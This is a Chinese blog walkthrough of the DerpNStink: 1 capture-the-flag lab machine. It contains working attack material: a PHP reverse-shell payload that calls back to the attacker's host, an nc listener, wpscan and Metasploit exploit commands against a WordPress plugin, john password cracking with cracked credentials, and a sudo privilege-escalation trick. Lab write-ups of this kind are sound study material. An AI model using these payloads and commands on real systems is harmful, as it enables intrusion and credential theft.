DerpNStink: 1靶机攻略

最新推荐文章于 2024-08-07 21:29:57 发布

Change State

最新推荐文章于 2024-08-07 21:29:57 发布

阅读量283

点赞数

分类专栏：网络安全基础文章标签：网络安全 linux

本文链接：https://blog.csdn.net/qq_46107438/article/details/132135770

版权

网络安全基础专栏收录该内容

13 篇文章 0 订阅

订阅专栏

DerpNStink: 1靶机攻略

文章目录

DerpNStink: 1靶机攻略
各种扫描
翻网页
企图建立连接
- 第一种：文件上传
- 第二种：扫描漏洞
翻找文件
进入数据库
翻用户文件
查看数据包文件
sudo提权
注：

各种扫描

演示中靶机IP：192.168.88.129

在这里插入图片描述

#可进入的网页
http://192.168.88.129/
http://192.168.88.129/weblog/wp-admin/
http://192.168.88.129/weblog/
http://192.168.88.129/robots.txt
http://192.168.88.129/temporary/
http://192.168.88.129/php/phpmyadmin/

翻网页

搜索到flag1

在这里插入图片描述

浅浅试出了一个密码

在这里插入图片描述

不是最新版本

在这里插入图片描述

可以文件上传

在这里插入图片描述

phpmyadmin

在这里插入图片描述

企图建立连接

第一种：文件上传

先在kali打开监听

nc -lvvp 8888

利用之前找的上传入口上传

<?php
$sock = fsockopen('192.168.88.128',8888);
$descriptorspec = array(
    0 => $sock,
    1 => $sock,
    2 => $sock
);
$process = proc_open('/bin/sh',$descriptorspec,$pipes);
proc_close($process);
?>

在这里插入图片描述

连接成功

在这里插入图片描述

第二种：扫描漏洞

使用WordPress漏洞扫描工具wpscan

wpscan --url http://derpnstink.local/weblog/

发现问题

slideshow gallery

在这里插入图片描述

找到攻击模块并使用

msfconsole
search slideshow gallery
use 0
set rhosts 192.168.88.129
set targeturi /weblog/
set wp_password admin
set wp_user admin
run

在这里插入图片描述

连接成功

在这里插入图片描述

进入shell

在这里插入图片描述

翻找文件

有两个用户：

mrderp
stinky

在这里插入图片描述

四处搜寻未果，想办法进入之前的数据库
在/var/www/html/weblog页面找到博客配置文件wp-config.php

在这里插入图片描述

发现数据库账户密码

root:mysql

在这里插入图片描述

进入数据库

在这里插入图片描述

破解密码：–在/usr/share/wordlists/ 目录下有个rockyou压缩包，解压后可做为字典使用，比较大

john who --wordlist=../usr/share/wordlists/rockyou.txt
#指定字典破解
$P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41   #Unclestinky:wedgie57
$P$BgnU3VLAv.RWd3rdrkfVIuQr6mFvpd/   #admin:admin

启用终端，尝试登入

python -c "import pty;pty.spawn('/bin/bash')"

stinky尝试成功

在这里插入图片描述

翻用户文件

找到一个key.txt

在这里插入图片描述

一个.pcap文件

在这里插入图片描述

flag3

在这里插入图片描述

查看数据包文件

在这里插入图片描述

找到密码 #找http中的post

mrderp:derpderpderpderpderpderpderp

sudo提权

在这里插入图片描述

mkdir 。。。
# 创建目录
echo '/bin/sh' > derpy.sh   
#也可以是"/bin/bash"等其他内容
chmod 777 derpy.sh
#赋权
sudo ./derpy.sh
#提权

注：

ssh -i key stinky@192.168.88.129 
#使用密钥登录  key即密钥文件